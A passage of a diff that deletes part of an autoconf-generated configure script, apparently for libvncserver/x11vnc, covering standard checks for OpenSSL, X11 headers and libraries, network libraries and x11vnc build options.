- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl"
- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- fi
-fi
-
- if test ! -z "$SSL_LIBS"; then
- HAVE_LIBSSL_TRUE=
- HAVE_LIBSSL_FALSE='#'
-else
- HAVE_LIBSSL_TRUE='#'
- HAVE_LIBSSL_FALSE=
-fi
-
-
-# Checks for X libraries
-HAVE_X11="false"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for X" >&5
-$as_echo_n "checking for X... " >&6; }
-
-
-@%:@ Check whether --with-x was given.
-if test "${with_x+set}" = set; then :
- withval=$with_x;
-fi
-
-# $have_x is `yes', `no', `disabled', or empty when we do not yet know.
-if test "x$with_x" = xno; then
- # The user explicitly disabled X.
- have_x=disabled
-else
- case $x_includes,$x_libraries in #(
- *\'*) as_fn_error $? "cannot use X directory names containing '" "$LINENO" 5;; #(
- *,NONE | NONE,*) if ${ac_cv_have_x+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # One or both of the vars are not set, and there is no cached value.
-ac_x_includes=no ac_x_libraries=no
-rm -f -r conftest.dir
-if mkdir conftest.dir; then
- cd conftest.dir
- cat >Imakefile <<'_ACEOF'
-incroot:
- @echo incroot='${INCROOT}'
-usrlibdir:
- @echo usrlibdir='${USRLIBDIR}'
-libdir:
- @echo libdir='${LIBDIR}'
-_ACEOF
- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
- for ac_var in incroot usrlibdir libdir; do
- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
- done
- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
- for ac_extension in a so sl dylib la dll; do
- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
- test -f "$ac_im_libdir/libX11.$ac_extension"; then
- ac_im_usrlibdir=$ac_im_libdir; break
- fi
- done
- # Screen out bogus values from the imake configuration. They are
- # bogus both because they are the default anyway, and because
- # using them would break gcc on systems where it needs fixed includes.
- case $ac_im_incroot in
- /usr/include) ac_x_includes= ;;
- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
- esac
- case $ac_im_usrlibdir in
- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
- esac
- fi
- cd ..
- rm -f -r conftest.dir
-fi
-
-# Standard set of common directories for X headers.
-# Check X11 before X11Rn because it is often a symlink to the current release.
-ac_x_header_dirs='
-/usr/X11/include
-/usr/X11R7/include
-/usr/X11R6/include
-/usr/X11R5/include
-/usr/X11R4/include
-
-/usr/include/X11
-/usr/include/X11R7
-/usr/include/X11R6
-/usr/include/X11R5
-/usr/include/X11R4
-
-/usr/local/X11/include
-/usr/local/X11R7/include
-/usr/local/X11R6/include
-/usr/local/X11R5/include
-/usr/local/X11R4/include
-
-/usr/local/include/X11
-/usr/local/include/X11R7
-/usr/local/include/X11R6
-/usr/local/include/X11R5
-/usr/local/include/X11R4
-
-/usr/X386/include
-/usr/x386/include
-/usr/XFree86/include/X11
-
-/usr/include
-/usr/local/include
-/usr/unsupported/include
-/usr/athena/include
-/usr/local/x11r5/include
-/usr/lpp/Xamples/include
-
-/usr/openwin/include
-/usr/openwin/share/include'
-
-if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
- # First, try using that file with no special directory specified.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # We can compile using X headers with no special include directory.
-ac_x_includes=
-else
- for ac_dir in $ac_x_header_dirs; do
- if test -r "$ac_dir/X11/Xlib.h"; then
- ac_x_includes=$ac_dir
- break
- fi
-done
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-fi # $ac_x_includes = no
-
-if test "$ac_x_libraries" = no; then
- # Check for the libraries.
- # See if we find them without any special options.
- # Don't add to $LIBS permanently.
- ac_save_LIBS=$LIBS
- LIBS="-lX11 $LIBS"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-int
-main ()
-{
-XrmInitialize ()
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- LIBS=$ac_save_LIBS
-# We can link X programs with no special library path.
-ac_x_libraries=
-else
- LIBS=$ac_save_LIBS
-for ac_dir in `$as_echo "$ac_x_includes $ac_x_header_dirs" | sed s/include/lib/g`
-do
- # Don't even attempt the hair of trying to link an X program!
- for ac_extension in a so sl dylib la dll; do
- if test -r "$ac_dir/libX11.$ac_extension"; then
- ac_x_libraries=$ac_dir
- break 2
- fi
- done
-done
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi # $ac_x_libraries = no
-
-case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
- # Didn't find X, or a directory has "'" in its name.
- ac_cv_have_x="have_x=no";; #(
- *)
- # Record where we found X for the cache.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$ac_x_includes'\
- ac_x_libraries='$ac_x_libraries'"
-esac
-fi
-;; #(
- *) have_x=yes;;
- esac
- eval "$ac_cv_have_x"
-fi # $with_x != no
-
-if test "$have_x" != yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_x" >&5
-$as_echo "$have_x" >&6; }
- no_x=yes
-else
- # If each of the values was on the command line, it overrides each guess.
- test "x$x_includes" = xNONE && x_includes=$ac_x_includes
- test "x$x_libraries" = xNONE && x_libraries=$ac_x_libraries
- # Update the cache value to reflect the command line values.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$x_includes'\
- ac_x_libraries='$x_libraries'"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: libraries $x_libraries, headers $x_includes" >&5
-$as_echo "libraries $x_libraries, headers $x_includes" >&6; }
-fi
-
-if test "$no_x" = yes; then
- # Not all programs may use this symbol, but it does not hurt to define it.
-
-$as_echo "@%:@define X_DISPLAY_MISSING 1" >>confdefs.h
-
- X_CFLAGS= X_PRE_LIBS= X_LIBS= X_EXTRA_LIBS=
-else
- if test -n "$x_includes"; then
- X_CFLAGS="$X_CFLAGS -I$x_includes"
- fi
-
- # It would also be nice to do this for all -L options, not just this one.
- if test -n "$x_libraries"; then
- X_LIBS="$X_LIBS -L$x_libraries"
- # For Solaris; some versions of Sun CC require a space after -R and
- # others require no space. Words are not sufficient . . . .
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -R must be followed by a space" >&5
-$as_echo_n "checking whether -R must be followed by a space... " >&6; }
- ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
- ac_xsave_c_werror_flag=$ac_c_werror_flag
- ac_c_werror_flag=yes
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- X_LIBS="$X_LIBS -R$x_libraries"
-else
- LIBS="$ac_xsave_LIBS -R $x_libraries"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- X_LIBS="$X_LIBS -R $x_libraries"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: neither works" >&5
-$as_echo "neither works" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_c_werror_flag=$ac_xsave_c_werror_flag
- LIBS=$ac_xsave_LIBS
- fi
-
- # Check for system-dependent libraries X programs must link with.
- # Do this before checking for the system-independent R6 libraries
- # (-lICE), since we may need -lsocket or whatever for X linking.
-
- if test "$ISC" = yes; then
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl_s -linet"
- else
- # Martyn Johnson says this is needed for Ultrix, if the X
- # libraries were built with DECnet support. And Karl Berry says
- # the Alpha needs dnet_stub (dnet does not exist).
- ac_xsave_LIBS="$LIBS"; LIBS="$LIBS $X_LIBS -lX11"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XOpenDisplay ();
-int
-main ()
-{
-return XOpenDisplay ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet... " >&6; }
-if ${ac_cv_lib_dnet_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet"
-fi
-
- if test $ac_cv_lib_dnet_dnet_ntoa = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet_stub" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet_stub... " >&6; }
-if ${ac_cv_lib_dnet_stub_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet_stub $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_stub_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_stub_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_stub_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_stub_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_stub_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet_stub"
-fi
-
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- LIBS="$ac_xsave_LIBS"
-
- # msh@cis.ufl.edu says -lnsl (and -lsocket) are needed for his 386/AT,
- # to get the SysV transport functions.
- # Chad R. Larson says the Pyramis MIS-ES running DC/OSx (SVR4)
- # needs -lnsl.
- # The nsl library prevents programs from opening the X display
- # on Irix 5.2, according to T.E. Dickey.
- # The functions gethostbyname, getservbyname, and inet_addr are
- # in -lbsd on LynxOS 3.0.1/i386, according to Lars Hecking.
- ac_fn_c_check_func "$LINENO" "gethostbyname" "ac_cv_func_gethostbyname"
-if test "x$ac_cv_func_gethostbyname" = xyes; then :
-
-fi
-
- if test $ac_cv_func_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl"
-fi
-
- if test $ac_cv_lib_nsl_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lbsd" >&5
-$as_echo_n "checking for gethostbyname in -lbsd... " >&6; }
-if ${ac_cv_lib_bsd_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lbsd $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_bsd_gethostbyname=yes
-else
- ac_cv_lib_bsd_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_bsd_gethostbyname" >&5
-$as_echo "$ac_cv_lib_bsd_gethostbyname" >&6; }
-if test "x$ac_cv_lib_bsd_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
-fi
-
- fi
- fi
-
- # lieder@skyler.mavd.honeywell.com says without -lsocket,
- # socket/setsockopt and other routines are undefined under SCO ODT
- # 2.0. But -lsocket is broken on IRIX 5.2 (and is not necessary
- # on later versions), says Simon Leinen: it contains gethostby*
- # variants that don't use the name server (or something). -lsocket
- # must be given before -lnsl if both are needed. We assume that
- # if connect needs -lnsl, so does gethostbyname.
- ac_fn_c_check_func "$LINENO" "connect" "ac_cv_func_connect"
-if test "x$ac_cv_func_connect" = xyes; then :
-
-fi
-
- if test $ac_cv_func_connect = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for connect in -lsocket" >&5
-$as_echo_n "checking for connect in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_connect+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char connect ();
-int
-main ()
-{
-return connect ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_connect=yes
-else
- ac_cv_lib_socket_connect=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_connect" >&5
-$as_echo "$ac_cv_lib_socket_connect" >&6; }
-if test "x$ac_cv_lib_socket_connect" = xyes; then :
- X_EXTRA_LIBS="-lsocket $X_EXTRA_LIBS"
-fi
-
- fi
-
- # Guillermo Gomez says -lposix is necessary on A/UX.
- ac_fn_c_check_func "$LINENO" "remove" "ac_cv_func_remove"
-if test "x$ac_cv_func_remove" = xyes; then :
-
-fi
-
- if test $ac_cv_func_remove = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for remove in -lposix" >&5
-$as_echo_n "checking for remove in -lposix... " >&6; }
-if ${ac_cv_lib_posix_remove+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lposix $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char remove ();
-int
-main ()
-{
-return remove ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_posix_remove=yes
-else
- ac_cv_lib_posix_remove=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_posix_remove" >&5
-$as_echo "$ac_cv_lib_posix_remove" >&6; }
-if test "x$ac_cv_lib_posix_remove" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lposix"
-fi
-
- fi
-
- # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
- ac_fn_c_check_func "$LINENO" "shmat" "ac_cv_func_shmat"
-if test "x$ac_cv_func_shmat" = xyes; then :
-
-fi
-
- if test $ac_cv_func_shmat = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmat in -lipc" >&5
-$as_echo_n "checking for shmat in -lipc... " >&6; }
-if ${ac_cv_lib_ipc_shmat+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmat ();
-int
-main ()
-{
-return shmat ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ipc_shmat=yes
-else
- ac_cv_lib_ipc_shmat=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ipc_shmat" >&5
-$as_echo "$ac_cv_lib_ipc_shmat" >&6; }
-if test "x$ac_cv_lib_ipc_shmat" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lipc"
-fi
-
- fi
- fi
-
- # Check for libraries that X11R6 Xt/Xaw programs need.
- ac_save_LDFLAGS=$LDFLAGS
- test -n "$x_libraries" && LDFLAGS="$LDFLAGS -L$x_libraries"
- # SM needs ICE to (dynamically) link under SunOS 4.x (so we have to
- # check for ICE first), but we must link in the order -lSM -lICE or
- # we get undefined symbols. So assume we have SM if we have ICE.
- # These have to be linked with before -lX11, unlike the other
- # libraries we check for below, so use a different variable.
- # John Interrante, Karl Berry
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for IceConnectionNumber in -lICE" >&5
-$as_echo_n "checking for IceConnectionNumber in -lICE... " >&6; }
-if ${ac_cv_lib_ICE_IceConnectionNumber+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lICE $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char IceConnectionNumber ();
-int
-main ()
-{
-return IceConnectionNumber ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ICE_IceConnectionNumber=yes
-else
- ac_cv_lib_ICE_IceConnectionNumber=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ICE_IceConnectionNumber" >&5
-$as_echo "$ac_cv_lib_ICE_IceConnectionNumber" >&6; }
-if test "x$ac_cv_lib_ICE_IceConnectionNumber" = xyes; then :
- X_PRE_LIBS="$X_PRE_LIBS -lSM -lICE"
-fi
-
- LDFLAGS=$ac_save_LDFLAGS
-
-fi
-
-
-
-# See if we are to build x11vnc:
-
-
-@%:@ Check whether --with-system-libvncserver was given.
-if test "${with_system_libvncserver+set}" = set; then :
- withval=$with_system_libvncserver;
-fi
-
-
-@%:@ Check whether --with-x11vnc was given.
-if test "${with_x11vnc+set}" = set; then :
- withval=$with_x11vnc;
-fi
-
-
-if test ! -z "$with_x11vnc" -a "$with_x11vnc" = "yes"; then
- build_x11vnc="yes"
-elif test "$PACKAGE_NAME" = "x11vnc"; then
- build_x11vnc="yes"
-else
- build_x11vnc="no"
-fi
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-@%:@ Check whether --with-xkeyboard was given.
-if test "${with_xkeyboard+set}" = set; then :
- withval=$with_xkeyboard;
-fi
-
-
-@%:@ Check whether --with-xinerama was given.
-if test "${with_xinerama+set}" = set; then :
- withval=$with_xinerama;
-fi
-
-
-@%:@ Check whether --with-xrandr was given.
-if test "${with_xrandr+set}" = set; then :
- withval=$with_xrandr;
-fi
-
-
-@%:@ Check whether --with-xfixes was given.
-if test "${with_xfixes+set}" = set; then :
- withval=$with_xfixes;
-fi
-
-
-@%:@ Check whether --with-xdamage was given.
-if test "${with_xdamage+set}" = set; then :
- withval=$with_xdamage;
-fi
-
-
-@%:@ Check whether --with-xtrap was given.
-if test "${with_xtrap+set}" = set; then :
- withval=$with_xtrap;
-fi
-
-
-@%:@ Check whether --with-xrecord was given.
-if test "${with_xrecord+set}" = set; then :
- withval=$with_xrecord;
-fi
-
-
-@%:@ Check whether --with-fbpm was given.
-if test "${with_fbpm+set}" = set; then :
- withval=$with_fbpm;
-fi
-
-
-@%:@ Check whether --with-dpms was given.
-if test "${with_dpms+set}" = set; then :
- withval=$with_dpms;
-fi
-
-
-@%:@ Check whether --with-v4l was given.
-if test "${with_v4l+set}" = set; then :
- withval=$with_v4l;
-fi
-
-
-@%:@ Check whether --with-fbdev was given.
-if test "${with_fbdev+set}" = set; then :
- withval=$with_fbdev;
-fi
-
-
-@%:@ Check whether --with-uinput was given.
-if test "${with_uinput+set}" = set; then :
- withval=$with_uinput;
-fi
-
-
-@%:@ Check whether --with-macosx-native was given.
-if test "${with_macosx_native+set}" = set; then :
- withval=$with_macosx_native;
-fi
-
-
-fi
-# end x11vnc only.
-
-if test "x$with_x" = "xno"; then
- HAVE_X11="false"
-elif test "$X_CFLAGS" != "-DX_DISPLAY_MISSING"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XGetImage in -lX11" >&5
-$as_echo_n "checking for XGetImage in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XGetImage ();
-int
-main ()
-{
-return XGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XGetImage=yes
-else
- ac_cv_lib_X11_XGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XGetImage" >&5
-$as_echo "$ac_cv_lib_X11_XGetImage" >&6; }
-if test "x$ac_cv_lib_X11_XGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_X11 1" >>confdefs.h
- HAVE_X11="true"
-else
- HAVE_X11="false"
-fi
-
-
- # x11vnc only:
- if test $HAVE_X11 = "true" -a "$build_x11vnc" = "yes"; then
- X_PRELIBS="$X_PRELIBS -lXext"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XShmGetImage in -lXext" >&5
-$as_echo_n "checking for XShmGetImage in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XShmGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XShmGetImage ();
-int
-main ()
-{
-return XShmGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XShmGetImage=yes
-else
- ac_cv_lib_Xext_XShmGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XShmGetImage" >&5
-$as_echo "$ac_cv_lib_Xext_XShmGetImage" >&6; }
-if test "x$ac_cv_lib_Xext_XShmGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_XSHM 1" >>confdefs.h
-
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XReadScreen in -lXext" >&5
-$as_echo_n "checking for XReadScreen in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XReadScreen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XReadScreen ();
-int
-main ()
-{
-return XReadScreen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
